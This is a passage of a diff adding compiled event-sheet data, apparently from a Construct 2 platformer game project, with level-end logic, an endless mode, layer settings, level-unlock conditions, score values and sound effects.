+ 3,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 420519523164141,
+ [
+ [
+ 324,
+ 78,
+ "Platform",
+ 0,
+ false,
+ false,
+ false,
+ 764300187061470,
+ false
+ ],
+ [
+ 1,
+ 71,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 449190505744265,
+ false,
+ [
+ [
+ 9,
+ 65
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 329,
+ 79,
+ null,
+ 439677371274257,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ 328,
+ 79,
+ null,
+ 906682231302146,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 143017570072338,
+ [
+ [
+ 324,
+ 78,
+ "Platform",
+ 0,
+ false,
+ true,
+ false,
+ 218290647609621,
+ false
+ ]
+ ],
+ [
+ [
+ 328,
+ 79,
+ null,
+ 841215694475978,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ 329,
+ 79,
+ null,
+ 840061516434432,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 527658227176035,
+ [
+ [
+ 1,
+ 71,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 133236808679168,
+ false,
+ [
+ [
+ 9,
+ 38
+ ]
+ ]
+ ],
+ [
+ 324,
+ 78,
+ "Platform",
+ 0,
+ false,
+ false,
+ false,
+ 313802978142684,
+ false
+ ]
+ ],
+ [
+ [
+ 324,
+ 61,
+ "Platform",
+ 403769739887036,
+ false,
+ [
+ [
+ 3,
+ 2
+ ]
+ ]
+ ],
+ [
+ 4,
+ 80,
+ null,
+ 331204255231344,
+ false,
+ [
+ [
+ 3,
+ 0
+ ],
+ [
+ 1,
+ [
+ 19,
+ 81,
+ [
+ [
+ 2,
+ "jump"
+ ],
+ [
+ 2,
+ "jump2"
+ ]
+ ]
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 146614117947645,
+ [
+ [
+ 1,
+ 71,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 846370679154494,
+ false,
+ [
+ [
+ 9,
+ 39
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 324,
+ 61,
+ "Platform",
+ 163714140606806,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 657750737745730,
+ [
+ [
+ 1,
+ 71,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 849536240150517,
+ false,
+ [
+ [
+ 9,
+ 37
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 324,
+ 61,
+ "Platform",
+ 338385252832435,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 739989214443113,
+ [
+ [
+ 1,
+ 71,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 245718948131444,
+ false,
+ [
+ [
+ 9,
+ 87
+ ]
+ ]
+ ],
+ [
+ 324,
+ 78,
+ "Platform",
+ 0,
+ false,
+ false,
+ false,
+ 172553669682890,
+ false
+ ]
+ ],
+ [
+ [
+ 324,
+ 61,
+ "Platform",
+ 697895629096924,
+ false,
+ [
+ [
+ 3,
+ 2
+ ]
+ ]
+ ],
+ [
+ 4,
+ 80,
+ null,
+ 973438035899966,
+ false,
+ [
+ [
+ 3,
+ 0
+ ],
+ [
+ 1,
+ [
+ 19,
+ 81,
+ [
+ [
+ 2,
+ "jump"
+ ],
+ [
+ 2,
+ "jump2"
+ ]
+ ]
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 601211134266579,
+ [
+ [
+ 1,
+ 71,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 618038095010588,
+ false,
+ [
+ [
+ 9,
+ 68
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 324,
+ 61,
+ "Platform",
+ 809693409360653,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 793448373734097,
+ [
+ [
+ 1,
+ 71,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 839367943151476,
+ false,
+ [
+ [
+ 9,
+ 65
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 324,
+ 61,
+ "Platform",
+ 739432983033210,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 477881434305507,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 292051655581299,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ 324,
+ 82,
+ "Platform",
+ 0,
+ false,
+ false,
+ false,
+ 793575716845320,
+ false
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ true,
+ false,
+ 980193883262106,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Endless"
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 84,
+ null,
+ 523357300314966,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "Game"
+ ]
+ ],
+ [
+ 0,
+ [
+ 19,
+ 85,
+ [
+ [
+ 19,
+ 86,
+ [
+ [
+ 2,
+ "Game"
+ ]
+ ]
+ ],
+ [
+ 1,
+ 0.9
+ ],
+ [
+ 6,
+ [
+ 0,
+ 3
+ ],
+ [
+ 19,
+ 87
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 84,
+ null,
+ 266291376769560,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "fondo"
+ ]
+ ],
+ [
+ 0,
+ [
+ 19,
+ 85,
+ [
+ [
+ 19,
+ 86,
+ [
+ [
+ 2,
+ "Game"
+ ]
+ ]
+ ],
+ [
+ 1,
+ 0.9
+ ],
+ [
+ 6,
+ [
+ 0,
+ 3
+ ],
+ [
+ 19,
+ 87
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 84,
+ null,
+ 701075356794325,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "fondo2"
+ ]
+ ],
+ [
+ 0,
+ [
+ 19,
+ 85,
+ [
+ [
+ 19,
+ 86,
+ [
+ [
+ 2,
+ "Game"
+ ]
+ ]
+ ],
+ [
+ 1,
+ 0.9
+ ],
+ [
+ 6,
+ [
+ 0,
+ 3
+ ],
+ [
+ 19,
+ 87
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 84,
+ null,
+ 719569407340726,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "Layer 1"
+ ]
+ ],
+ [
+ 0,
+ [
+ 19,
+ 85,
+ [
+ [
+ 19,
+ 86,
+ [
+ [
+ 2,
+ "Game"
+ ]
+ ]
+ ],
+ [
+ 1,
+ 0.9
+ ],
+ [
+ 6,
+ [
+ 0,
+ 3
+ ],
+ [
+ 19,
+ 87
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 816086044633067,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 308824391089294,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ 324,
+ 88,
+ "Platform",
+ 0,
+ false,
+ false,
+ false,
+ 215184615818763,
+ false
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ true,
+ false,
+ 921167863583222,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Endless"
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 84,
+ null,
+ 823362899268720,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "Game"
+ ]
+ ],
+ [
+ 0,
+ [
+ 19,
+ 85,
+ [
+ [
+ 19,
+ 86,
+ [
+ [
+ 2,
+ "Game"
+ ]
+ ]
+ ],
+ [
+ 1,
+ 0.9
+ ],
+ [
+ 6,
+ [
+ 0,
+ 3
+ ],
+ [
+ 19,
+ 87
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 84,
+ null,
+ 874050773694453,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "fondo"
+ ]
+ ],
+ [
+ 0,
+ [
+ 19,
+ 85,
+ [
+ [
+ 19,
+ 86,
+ [
+ [
+ 2,
+ "Game"
+ ]
+ ]
+ ],
+ [
+ 1,
+ 0.9
+ ],
+ [
+ 6,
+ [
+ 0,
+ 3
+ ],
+ [
+ 19,
+ 87
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 84,
+ null,
+ 360666742592632,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "fondo2"
+ ]
+ ],
+ [
+ 0,
+ [
+ 19,
+ 85,
+ [
+ [
+ 19,
+ 86,
+ [
+ [
+ 2,
+ "Game"
+ ]
+ ]
+ ],
+ [
+ 1,
+ 0.9
+ ],
+ [
+ 6,
+ [
+ 0,
+ 3
+ ],
+ [
+ 19,
+ 87
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 84,
+ null,
+ 513696362165672,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "Layer 1"
+ ]
+ ],
+ [
+ 0,
+ [
+ 19,
+ 85,
+ [
+ [
+ 19,
+ 86,
+ [
+ [
+ 2,
+ "Game"
+ ]
+ ]
+ ],
+ [
+ 1,
+ 0.9
+ ],
+ [
+ 6,
+ [
+ 0,
+ 3
+ ],
+ [
+ 19,
+ 87
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 192841485569387,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 599284970105617,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ 324,
+ 78,
+ "Platform",
+ 0,
+ false,
+ false,
+ false,
+ 951760473299183,
+ false
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ true,
+ false,
+ 718967355820756,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Endless"
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 84,
+ null,
+ 222221726551189,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "Game"
+ ]
+ ],
+ [
+ 0,
+ [
+ 19,
+ 85,
+ [
+ [
+ 19,
+ 86,
+ [
+ [
+ 2,
+ "Game"
+ ]
+ ]
+ ],
+ [
+ 0,
+ 1
+ ],
+ [
+ 6,
+ [
+ 0,
+ 3
+ ],
+ [
+ 19,
+ 87
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 84,
+ null,
+ 725539731700149,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "fondo"
+ ]
+ ],
+ [
+ 0,
+ [
+ 19,
+ 85,
+ [
+ [
+ 19,
+ 86,
+ [
+ [
+ 2,
+ "Game"
+ ]
+ ]
+ ],
+ [
+ 0,
+ 1
+ ],
+ [
+ 6,
+ [
+ 0,
+ 3
+ ],
+ [
+ 19,
+ 87
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 84,
+ null,
+ 821583093421896,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "fondo2"
+ ]
+ ],
+ [
+ 0,
+ [
+ 19,
+ 85,
+ [
+ [
+ 19,
+ 86,
+ [
+ [
+ 2,
+ "Game"
+ ]
+ ]
+ ],
+ [
+ 0,
+ 1
+ ],
+ [
+ 6,
+ [
+ 0,
+ 3
+ ],
+ [
+ 19,
+ 87
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 84,
+ null,
+ 913412396781862,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "Layer 1"
+ ]
+ ],
+ [
+ 0,
+ [
+ 19,
+ 85,
+ [
+ [
+ 19,
+ 86,
+ [
+ [
+ 2,
+ "Game"
+ ]
+ ]
+ ],
+ [
+ 0,
+ 1
+ ],
+ [
+ 6,
+ [
+ 0,
+ 3
+ ],
+ [
+ 19,
+ 87
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 888702805614659,
+ [
+ [
+ 349,
+ 89,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 210349060400849,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "Default"
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 349,
+ 50,
+ null,
+ 688763899122089,
+ false
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 524806714280980,
+ [
+ [
+ 324,
+ 62,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 957922863085469,
+ false,
+ [
+ [
+ 4,
+ 332
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 656596191385383,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ],
+ [
+ 8,
+ 2
+ ],
+ [
+ 7,
+ [
+ 0,
+ 3
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 803348856970098,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 332,
+ 50,
+ null,
+ 288769477991626,
+ false
+ ],
+ [
+ 332,
+ 90,
+ null,
+ 107129781412092,
+ false,
+ [
+ [
+ 4,
+ 349
+ ],
+ [
+ 5,
+ [
+ 2,
+ "Game"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ 332,
+ 90,
+ null,
+ 864269427778139,
+ false,
+ [
+ [
+ 4,
+ 354
+ ],
+ [
+ 5,
+ [
+ 2,
+ "Game"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 91,
+ null,
+ 570336858876842,
+ false,
+ [
+ [
+ 11,
+ "Score"
+ ],
+ [
+ 7,
+ [
+ 19,
+ 81,
+ [
+ [
+ 0,
+ 2
+ ],
+ [
+ 0,
+ 4
+ ],
+ [
+ 0,
+ 6
+ ],
+ [
+ 0,
+ 8
+ ],
+ [
+ 0,
+ 10
+ ],
+ [
+ 0,
+ 12
+ ],
+ [
+ 0,
+ 14
+ ],
+ [
+ 0,
+ 16
+ ],
+ [
+ 0,
+ 18
+ ],
+ [
+ 0,
+ 20
+ ],
+ [
+ 0,
+ 25
+ ],
+ [
+ 0,
+ 50
+ ],
+ [
+ 0,
+ 70
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 184916761432800,
+ false,
+ [
+ [
+ 2,
+ [
+ "efecto3",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 121203060370482,
+ [
+ [
+ 324,
+ 62,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 238759665351841,
+ false,
+ [
+ [
+ 4,
+ 548
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 313211109575412,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ],
+ [
+ 8,
+ 2
+ ],
+ [
+ 7,
+ [
+ 0,
+ 3
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 752292327683067,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 548,
+ 50,
+ null,
+ 392610158501870,
+ false
+ ],
+ [
+ 548,
+ 90,
+ null,
+ 927584878265263,
+ false,
+ [
+ [
+ 4,
+ 349
+ ],
+ [
+ 5,
+ [
+ 2,
+ "Game"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ 548,
+ 90,
+ null,
+ 628250077603344,
+ false,
+ [
+ [
+ 4,
+ 354
+ ],
+ [
+ 5,
+ [
+ 2,
+ "Game"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 91,
+ null,
+ 787218575193838,
+ false,
+ [
+ [
+ 11,
+ "Score"
+ ],
+ [
+ 7,
+ [
+ 19,
+ 81,
+ [
+ [
+ 0,
+ 10
+ ],
+ [
+ 0,
+ 15
+ ],
+ [
+ 0,
+ 20
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 192506311563606,
+ false,
+ [
+ [
+ 2,
+ [
+ "regalo",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 790513886588294,
+ [
+ [
+ 324,
+ 62,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 918387709947050,
+ false,
+ [
+ [
+ 4,
+ 332
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 930561100935579,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ],
+ [
+ 8,
+ 2
+ ],
+ [
+ 7,
+ [
+ 0,
+ 6
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 568359135783127,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 3
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 332,
+ 50,
+ null,
+ 141260269430732,
+ false
+ ],
+ [
+ 332,
+ 90,
+ null,
+ 245600784897880,
+ false,
+ [
+ [
+ 4,
+ 349
+ ],
+ [
+ 5,
+ [
+ 2,
+ "Game"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ 332,
+ 90,
+ null,
+ 757367067344928,
+ false,
+ [
+ [
+ 4,
+ 354
+ ],
+ [
+ 5,
+ [
+ 2,
+ "Game"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 91,
+ null,
+ 410173822526591,
+ false,
+ [
+ [
+ 11,
+ "Score"
+ ],
+ [
+ 7,
+ [
+ 19,
+ 81,
+ [
+ [
+ 0,
+ 5
+ ],
+ [
+ 0,
+ 10
+ ],
+ [
+ 0,
+ 15
+ ],
+ [
+ 0,
+ 20
+ ],
+ [
+ 0,
+ 25
+ ],
+ [
+ 0,
+ 30
+ ],
+ [
+ 0,
+ 35
+ ],
+ [
+ 0,
+ 40
+ ],
+ [
+ 0,
+ 45
+ ],
+ [
+ 0,
+ 50
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 585673267916628,
+ false,
+ [
+ [
+ 2,
+ [
+ "efecto3",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 929411858359566,
+ [
+ [
+ 324,
+ 62,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 648092688636876,
+ false,
+ [
+ [
+ 4,
+ 548
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 400644591126207,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ],
+ [
+ 8,
+ 2
+ ],
+ [
+ 7,
+ [
+ 0,
+ 6
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 768719378063101,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 3
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 548,
+ 50,
+ null,
+ 413039795952582,
+ false
+ ],
+ [
+ 548,
+ 90,
+ null,
+ 288721263937167,
+ false,
+ [
+ [
+ 4,
+ 349
+ ],
+ [
+ 5,
+ [
+ 2,
+ "Game"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ 548,
+ 90,
+ null,
+ 831449792406637,
+ false,
+ [
+ [
+ 4,
+ 354
+ ],
+ [
+ 5,
+ [
+ 2,
+ "Game"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 91,
+ null,
+ 988010817570003,
+ false,
+ [
+ [
+ 11,
+ "Score"
+ ],
+ [
+ 7,
+ [
+ 19,
+ 81,
+ [
+ [
+ 0,
+ 5
+ ],
+ [
+ 0,
+ 10
+ ],
+ [
+ 0,
+ 15
+ ],
+ [
+ 0,
+ 20
+ ],
+ [
+ 0,
+ 25
+ ],
+ [
+ 0,
+ 30
+ ],
+ [
+ 0,
+ 35
+ ],
+ [
+ 0,
+ 40
+ ],
+ [
+ 0,
+ 45
+ ],
+ [
+ 0,
+ 50
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 990202780441186,
+ false,
+ [
+ [
+ 2,
+ [
+ "regalo",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 824132053127094,
+ [
+ [
+ 324,
+ 62,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 882988745350764,
+ false,
+ [
+ [
+ 4,
+ 332
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 836493770384865,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ],
+ [
+ 8,
+ 2
+ ],
+ [
+ 7,
+ [
+ 0,
+ 11
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 620553763696299,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 6
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 332,
+ 50,
+ null,
+ 981383191675292,
+ false
+ ],
+ [
+ 332,
+ 90,
+ null,
+ 541319752845529,
+ false,
+ [
+ [
+ 4,
+ 349
+ ],
+ [
+ 5,
+ [
+ 2,
+ "Game"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ 332,
+ 90,
+ null,
+ 636200278025356,
+ false,
+ [
+ [
+ 4,
+ 354
+ ],
+ [
+ 5,
+ [
+ 2,
+ "Game"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 91,
+ null,
+ 888850974581686,
+ false,
+ [
+ [
+ 11,
+ "Score"
+ ],
+ [
+ 7,
+ [
+ 19,
+ 81,
+ [
+ [
+ 0,
+ 10
+ ],
+ [
+ 0,
+ 20
+ ],
+ [
+ 0,
+ 30
+ ],
+ [
+ 0,
+ 40
+ ],
+ [
+ 0,
+ 50
+ ],
+ [
+ 0,
+ 60
+ ],
+ [
+ 0,
+ 70
+ ],
+ [
+ 0,
+ 80
+ ],
+ [
+ 0,
+ 90
+ ],
+ [
+ 0,
+ 100
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 905215241094663,
+ false,
+ [
+ [
+ 2,
+ [
+ "efecto3",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 353610215095757,
+ [
+ [
+ 324,
+ 62,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 233088237509317,
+ false,
+ [
+ [
+ 4,
+ 548
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 570302325304428,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ],
+ [
+ 8,
+ 2
+ ],
+ [
+ 7,
+ [
+ 0,
+ 11
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 513813822404554,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 6
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 548,
+ 50,
+ null,
+ 369836621311840,
+ false
+ ],
+ [
+ 548,
+ 90,
+ null,
+ 457570058108553,
+ false,
+ [
+ [
+ 4,
+ 349
+ ],
+ [
+ 5,
+ [
+ 2,
+ "Game"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ 548,
+ 90,
+ null,
+ 840848868568229,
+ false,
+ [
+ [
+ 4,
+ 354
+ ],
+ [
+ 5,
+ [
+ 2,
+ "Game"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 91,
+ null,
+ 554317110892907,
+ false,
+ [
+ [
+ 11,
+ "Score"
+ ],
+ [
+ 7,
+ [
+ 19,
+ 81,
+ [
+ [
+ 0,
+ 10
+ ],
+ [
+ 0,
+ 20
+ ],
+ [
+ 0,
+ 30
+ ],
+ [
+ 0,
+ 40
+ ],
+ [
+ 0,
+ 50
+ ],
+ [
+ 0,
+ 60
+ ],
+ [
+ 0,
+ 70
+ ],
+ [
+ 0,
+ 80
+ ],
+ [
+ 0,
+ 90
+ ],
+ [
+ 0,
+ 100
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 752808692192383,
+ false,
+ [
+ [
+ 2,
+ [
+ "regalo",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
